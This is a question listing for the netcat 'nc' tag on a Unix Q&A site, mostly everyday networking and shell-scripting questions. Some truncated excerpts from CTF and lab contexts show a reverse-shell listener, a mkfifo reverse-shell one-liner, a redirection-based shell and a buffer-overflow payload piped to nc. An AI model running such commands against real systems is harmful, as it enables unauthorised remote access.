Questions tagged [nc]

`nc` is the "network `cat`" program, connecting Unix pipe I/O to TCP and UDP sockets.

Filter by
Sorted by
Tagged with
12 votes
1 answer
2k views

Odd inconsistency between executing and sourcing Bash script

I know this is not a very descriptive title (suggestions are welcome), but the fact is that I've been pulling my hair over this for hours and I have no clue where the root of the problem might lie. I ...
mesr's user avatar
  • 399
0 votes
1 answer
50 views

Redirect command options to a file

From the following nc command,i would like to redirect source-server.fqdn name to the output file. By default nc command is not returning the source-server.fqdn in the output. nc -zv -s source-server....
u512201's user avatar
0 votes
1 answer
813 views

Redirect output of current script to a socket

I am trying to debug a shell script executing on a remote server, where I do not have access to the standard output of the script. Can I redirect the output to go over a socket?
rgov's user avatar
  • 213
0 votes
0 answers
32 views

Why do udp requests fail temporarily

I've a UDP web server, which bound to the port 10000. I just deployed it on the server 172.20.0.10. Then I tried to scan the port nc -v -z -w2 -u 172.20.0.10 10000, it seems that everyting is OK. The ...
Yves's user avatar
  • 3,291
0 votes
0 answers
77 views

finger daemon / nc fowarding error

For an assignment I'm trying to properly send a buffer overflow exploit with ncat in order gain root access on a vulnerable machine set up by the professor. I feel I created my egg right but I keep ...
Jacob ricondo's user avatar
0 votes
1 answer
73 views

Weird behaviour of bash in Kali Terminal (Qt I think) - piping to nc ends with awaiting input forever

I've been trying to pipe bytecode to netcat (nc) like this: python3 -c "import sys;bof='a'*16;bof2='a'*8;sys.stdout.buffer.write(bof.encode('ascii')+b'\xef\xbe\xad\xde'+bof2.encode('ascii')+b'\...
Sir Muffington's user avatar
1 vote
0 answers
598 views

Basic webserver supporting post+get (using curl and netcat)

Sorry if the question's title isn't clear about the objective of this question. I was able to make a respond-only webserver using Bash only; when it gets a curl post request, it returns results no ...
Daniella Mesquita's user avatar
0 votes
2 answers
781 views

netcat in systemd service resets

I am using netcat to connect to a server over TCP and continuously pipe the data received to file. nc 10.0.2.2 3456 > file.data When running this from terminal or a script it stays connected I want ...
abnsosl's user avatar
1 vote
0 answers
1k views

nc -lvnp (port) Non-responsive w/ PHP Reverse Shell til closed

I am currently working on Machine's on HackTheBox. I've used nc -lvnp (port) quite a bit and i've never ran into this issue: $nc -lvnp 4444 listening on [any] 4444 .... connect to [my IP] from (...
Adam Carson's user avatar
2 votes
0 answers
645 views

Is there any way to send request via authenticated proxy in OpenBSD netcat (nc)?

I am using following command using the nc to connect to my server via proxy (localhost:8080). But this proxy is authenticated. I am not sure how to pass the auth details. Pls. note this is older ...
Simplecode's user avatar
-1 votes
1 answer
2k views

How to make nc listen for remote connections

I'm trying to listen for a remote connection but nc keeps giving me this error: Error: Couldn't setup listening socket (err=-3) This is the command I used: nc -lvnp port_number -s my_public_ip
Gamer Spirit's user avatar
0 votes
0 answers
115 views

Userspace solution to use store data and create a UDP server

I'm trying to come up with a good way manage an intermittently connected device that I'm using for a research project. It's a sensor that goes in and out of the water. While under water, of course, ...
b degnan's user avatar
  • 111
0 votes
1 answer
120 views

Add reponse to the Listening port created with nc -l localhost <some port>

How can I setup a functionality to a listening port created using the nc -l command. I want my server to respond with a pass after connection
Arshpreet Singh's user avatar
0 votes
3 answers
81 views

Conditional `if` with command that doesn't respond in else

I have the following command line, which should return the value 1 in case of, by means of nc, check communication with the IP and Port in question: /bin/nc -z 10.102.10.22 10003 > /dev/null &&...
Fco Javier Balón's user avatar
0 votes
1 answer
1k views

netcat / nc / telnet perform math on received data then output

I am not an expert on bash so sorry in advance. For my high school CTF competition, I have to read in 3 numbers, perform some arithmetic on them, then output the value back to the server. In ...
Peter Stenger's user avatar
0 votes
1 answer
199 views

Infinite number of process spawns despite wait and kill (bash)

This code should be a daemon that keeps alive nc command. If nc instance is dead then the daemon should respawn it. #!/bin/sh if [ "$1" != "__forked__" ]; then setsid "$0&...
Logan Lee's user avatar
  • 249
0 votes
1 answer
449 views

nc: run command upon connection

When doing CTFs, I often run nc -lnvp $PORT and do something else while waiting for a connection. I want to be alerted when said connection is established and I get a shell. Since nc is not terminated ...
ChocolateOverflow's user avatar
0 votes
1 answer
1k views

Changing port when using netcat

The manual instructs to use -p option for entering port. When I tried to use it, 'no port to connect' was displayed. I was connecting to localhost. But the connection went through when nc localhost ...
bharadwaj's user avatar
2 votes
2 answers
2k views

How do I write a simple request/response tcp server using `nc`?

I’m trying to write a request/response TCP server to handle a small number of very simple commands. I'm using a shell script to be as portable as possible, avoiding compilation or requiring specific ...
Robert Elliot's user avatar
0 votes
1 answer
335 views

Can't ncat some ports after opening them in the router and with firewall-cmd

I want to open some ports, both UDP and TCP, on a Fedora 32 server. First, I've opened them on the router and then restarted the router: Then, I've opened them in firewalld: sudo firewall-cmd --...
tsorn's user avatar
  • 119
0 votes
1 answer
381 views

Keep track of successful pin in Bandit CTF 24 to 25 [duplicate]

I am doing the bandit wargame of OverTheWire and am trying to pass level 24 -> 25. I successfully got the password with the script below but I'd like to recover the successful pin. I tried ...
Sileo's user avatar
  • 111
13 votes
1 answer
11k views

What is `nc -z` used for?

In a solution of an exercise I found this: nc -z [serverip] [port] What does it do? On nc man page I found -z zero-I/O mode [used for scanning] not very explanatory... Searching on ...
Francesco's user avatar
  • 836
0 votes
1 answer
6k views

Ping works, but I get 'No route to host' even though my firewall is off

I want to check if I can connect to Rspamd's Fuzzy port and have a very strange problem - I can ping a the host and get an answer (0% packet loss). But when I try to telnet him, I get "No route to ...
manifestor's user avatar
  • 2,473
0 votes
1 answer
6k views

vsftp server returning 500 Illegal PORT command when tried to run raw ftp commands in telnet

Currently, I am trying to run ftp commands from telnet client. I was successful with USER, PASS, PASV, LIST and when tried PORT vsftp server is throwing 500 Illegal PORT command. I am following the ...
m0hithreddy's user avatar
1 vote
1 answer
574 views

How to decrypt Cryptcat with key?

I have a Pcapng (Wireshark) encrypted file with Cryptcat and I also have the Password, how can I decrypt the file? Can't find anything relevant. Only things like: "Is it Really Secure? Not if your ...
Isaac Michaan's user avatar
0 votes
1 answer
2k views

How to use nc to send message consecutively per second

I'm learning the Apache Flink. Here is the Hello World of Flink: https://ci.apache.org/projects/flink/flink-docs-stable/getting-started/tutorials/local_setup.html This example is a program, which ...
Yves's user avatar
  • 3,291
3 votes
3 answers
1k views

How to understand the action of nc -l

I've read the manual of nc, it tells me that nc -l means Used to specify that nc should listen for an incoming connection rather than initiate a connection to a remote host. It is an error to use ...
Yves's user avatar
  • 3,291
2 votes
1 answer
967 views

How to setup simple netcat server which sleeps before it returns a HTTP response

Scenario Whenever the netcat server receives a connection, I want it to sleep for 2s before returning a HTTP response. I know we can turn netcat into a simple HTTP server by something like nc -lp ...
Tran Triet's user avatar
0 votes
1 answer
115 views

What is this code actually doing?

While doing a CTF challenge on a platform, I needed a reverse shell but couldn't get one working so I looked at the processes and found one reverse shell code: rm /tmp/m;mkfifo /tmp/m;cat /tmp/m|/bin/...
1zverg's user avatar
  • 301
4 votes
3 answers
2k views

convert one line values to multiple lines with numbering order

The following variable include for example this values echo $SERVERS server1,server2,server3,server4,server5 and when I want to pipe them on different lines then I do the following echo $SERVERS | ...
yael's user avatar
  • 13.1k
1 vote
1 answer
2k views

netcat with ssh

every time that I'll send a thing from computer A to computer B with nc, I to use these commands, Computer A tar cfp - film.mp4 | nc -w 3 192.168.xxx.xx 1234 Computer B nc -l -p 1234 | tar xvfp - ...
dsaj34v's user avatar
  • 177
2 votes
0 answers
1k views

netcat -s switch does not work or do anything at all

I have a computer with a NIC with two ports and a switch between them, and I'm trying to send data from one port to the other using netcat. I thought I could simply specify the source address (i.e. ...
jangxx's user avatar
  • 129
1 vote
2 answers
862 views

How does this nc command work as a HTTP server?

There is an answer that serves a file over HTTP using nc { echo -ne "HTTP/1.0 200 OK\r\n\r\n"; cat some.file; } | nc -l -p 8080 { echo -ne "HTTP/1.0 200 OK\r\nContent-Length: $(wc -c &...
Tim's user avatar
  • 102k
0 votes
1 answer
308 views

How to configure stderr from nc?

I would like to check port connections with nc and forward the result to a text file. stdout works fine. stderr is empty, if you don't use -v (which I dont want), so I would like to configure the ...
stefan_parpart's user avatar
0 votes
1 answer
545 views

http server with ssl does not work with nc

If run: cat index.html | nc --ssl --broker --keep-open -l 443 on the client side browser keeps on trying to connect with no success. I mean, the html page does not load. Besides, curl output is: ...
sebelk's user avatar
  • 4,399
1 vote
1 answer
675 views

How to send new lines from file to a tcp port?

Wait for file changes and send new lines to a TCP port server. I've tried nc 127.0.0.1 1234 -c "tail -F /var/log/changes.log" & But get broken pipe
Hernán Eche's user avatar
0 votes
0 answers
1k views

netcat is timing out before timeout has reached

I am trying to test a port on a remote machine. The connection is over satellite, so latency is quite high. I am testing with NC with the -w option to set the timeout. Ex: nc -w 300 address port ...
Dick's user avatar
  • 3
0 votes
1 answer
551 views

Redirecting all primary file descriptors using `exec` causes the shell to exit after program exists depending on which end closes the connection?

I've been practicing my Bash skills by creating reverse shells using various redirection operators. After having set up a nc listener: nc -lvp 4444 I run the following command: 0<&116-; ...
Shuzheng's user avatar
  • 4,431
0 votes
1 answer
733 views

How can a client talk to another client using unix domain sockets?

Using bash we might have something like this with netcat: nc -lk -U /my/fifo | while read line; do # line => {"client_id":123} done; clients send data like this: echo '{"client_id":123,"data":...
Alexander Mills's user avatar
0 votes
1 answer
801 views

Understanding the Netcat properly [closed]

Netcat confuses me a little bit and here are the reasons: when I run: nmap localhost There are some ports listed with the information whether they are open or closed. So if I run the command : nc -l -...
Hackerman's user avatar
0 votes
1 answer
861 views

How can I list ONLY open ports in a range with nc [duplicate]

I see many examples for nc, even one in the man page, that says nc -zv 77.77.77.77 10-30 would report the open ports in the range 10-30. However, on my machine all the closed ports are also ...
citykid's user avatar
  • 137
1 vote
1 answer
3k views

Sending data to Unix socket failing unless proxied with socat via UDP

I'm trying to debug why data isn't being sent over a Unix Domain Socket. I have 2 applications which should be communicating over a UDS but aren't. To test I've done the following: Using socat, I ...
Will's user avatar
  • 113
-1 votes
1 answer
101 views

Does `inetd` (and `nc`) apply only to programs written as daemons?

When inetd makes several programs run as services, does inetd require the programs necessarily written as daemons (e.g. not having a controlling terminal, no interactive input, ...)? Or caninetd ...
Tim's user avatar
  • 102k
-1 votes
1 answer
211 views

how to capture details from nc

by the following command we can identify which ip are using port 2181 and the relevant port echo stat | nc localhost 2181 Zookeeper version: 3.4.6-91--1, built on 01/04/2018 10:34 GMT Clients: /182....
yael's user avatar
  • 13.1k
0 votes
1 answer
529 views

Networking: port listening but nc fails

I have set up a docker-compose stack on a server. One of its services is jaeger collector and is configured as follows: collector: image: jaegertracing/jaeger-collector:1.8 environment: ...
pkaramol's user avatar
  • 2,799
1 vote
2 answers
15k views

Shell Script in netcat listener to talk with client

I have this script on my netcat server which asks for name and some other information: *echo "Tell me your name" read $ln ...
Shritama Sengupta's user avatar
2 votes
2 answers
4k views

problem piping data into nc

I've written a small UDP server in PHP which listens on a socket, accepts a command, and performs an action. It's really quite basic. I can connect to it manually like this: % nc -u host port (...
Jason K's user avatar
  • 43
1 vote
1 answer
3k views

nc getting stuck unexpectedly

I expected this: nc -l localhost 7000 </dev/null & nc localhost 7000 </etc/profile and this nc -l localhost 7000 </etc/profile & nc localhost 7000 </dev/null to finish after ...
Petr Skocik's user avatar
  • 28.8k
1 vote
2 answers
2k views

Print netcat input on terminal

I'm trying to write a script where I cat the content of a file and pipe it into nc: $cat somefile.txt | nc server port The file content is sent to the server as expected but on the terminal I only ...
user2294018's user avatar
4 votes
1 answer
12k views

How to create a public unix domain socket?

Consider /var/run/acpid.socket. At any point I can connect to it and disconnect from it. Compare that with nc: $ nc -l -U ./myunixsocket.sock Ncat: bind to ./myunixsocket.sock: Address already in use....
Sergiy Kolodyazhnyy's user avatar